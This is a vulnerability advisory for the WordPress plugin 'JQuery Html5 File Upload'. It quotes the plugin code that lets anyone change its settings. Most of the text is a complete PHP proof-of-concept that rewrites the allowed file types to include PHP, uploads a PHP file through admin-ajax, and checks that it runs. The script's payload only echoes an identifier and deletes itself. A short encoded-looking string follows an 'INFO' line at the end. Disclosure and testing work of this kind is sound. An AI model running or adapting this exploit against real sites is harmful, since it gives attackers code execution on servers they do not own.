JQuery Html5 File Upload [Unauthenticated Options Update and Arbitrary File Upload]

Description

This vulnerability was first reported here but it lacks specific details that make the advisory look invalid. Maybe this was on purpose in order to confuse researchers in order to not pay attention on this one. It seems that at least one time to succeed in this goal.

This plugin allows file uploads for unauthenticated users but restricts the allowed upload types through plugin option accepted_file_types. The problem occurs because this option (in fact all plugin options) can be updated by anyone because there are no security controls when doing so, file jquery-html5-file-upload/jquery-html5-file-upload.php, line 49-56:

if(isset($_POST['savesetting']) && $_POST['savesetting']=="Save Setting")
{
	update_option("jqhfu_accepted_file_types", $_POST['accepted_file_types']);
	update_option("jqhfu_inline_file_types", $_POST['inline_file_types']);
	update_option("jqhfu_maximum_file_size", $_POST['maximum_file_size']);
	update_option("jqhfu_thumbnail_width", $_POST['thumbnail_width']);
	update_option("jqhfu_thumbnail_height", $_POST['thumbnail_height']);
}

Altering those options could mean that an attacker can upload any file type on the vulnerable server using the AJAX action load_ajax_function.

PoC


#!/usr/bin/env php
<?php
/*******************************************************************************
 * JQuery Html5 File Upload [Unauthenticated Options Update and Arbitrary File Upload]
 *
 * Author: Pan Vag <[email protected]>
 * To install deps run `composer install`
 ******************************************************************************/

require_once 'vendor/autoload.php';

use Wordfence\ExKit\Cli;
use Wordfence\ExKit\Config;
use Wordfence\ExKit\ExitCodes;
use Wordfence\ExKit\Endpoint;
use Wordfence\ExKit\Request;

$url = Config::get( 'url.base', null, true, 'Enter the site URL' );

if ( ! $url ) {
    ExitCodes::exitWithFailedPrecondition( 'You must enter a valid URL' );
}

Cli::writeInfo('Updating options to allow the uploading of PHP files...');
$postData = [
    'savesetting' => 'Save Setting',
    'accepted_file_types' => 'gif|jpeg|jpg|png|php',
    'inline_file_types' => 'gif|jpeg|jpg|png',
    'maximum_file_size' => 5,
    'thumbnail_width' => 80,
    'thumbnail_height' => 80,
];

Request::post(Endpoint::baseURL(), [], $postData);

$postData = [
    'action' => 'load_ajax_function'
];

$identifier = uniqid();
$fileName = $identifier . '.php';

Cli::writeInfo('Sending payload...');

$r = Request::upload(
    Endpoint::adminAjaxURL(),
    $postData,
    [
        'files' => [
            'fileContents' => "<?php echo '{$identifier}';unlink(__FILE__);",
            'fileName'     => $fileName,
            'contentType'  => 'plain/txt',
        ],
    ]
);

$res = @json_decode($r->body);

if ( ! $r->success || !isset($res->files) || !$res->files) {
    ExitCodes::exitWithFailed( 'Upload failed' );
}

$file = $res->files[0];

Cli::writeInfo('Validating exploit...');

$r = Request::get($file->url);

if(!$r->success || $r->body != $identifier){
    ExitCodes::exitWithFailed('Failed to validate upload...');
}

ExitCodes::exitWithSuccess('Exploitation successful!');

INFO
GKxtL3WcoJHtnKZtqTuuqPOiMvOwqKWco3AcqUxX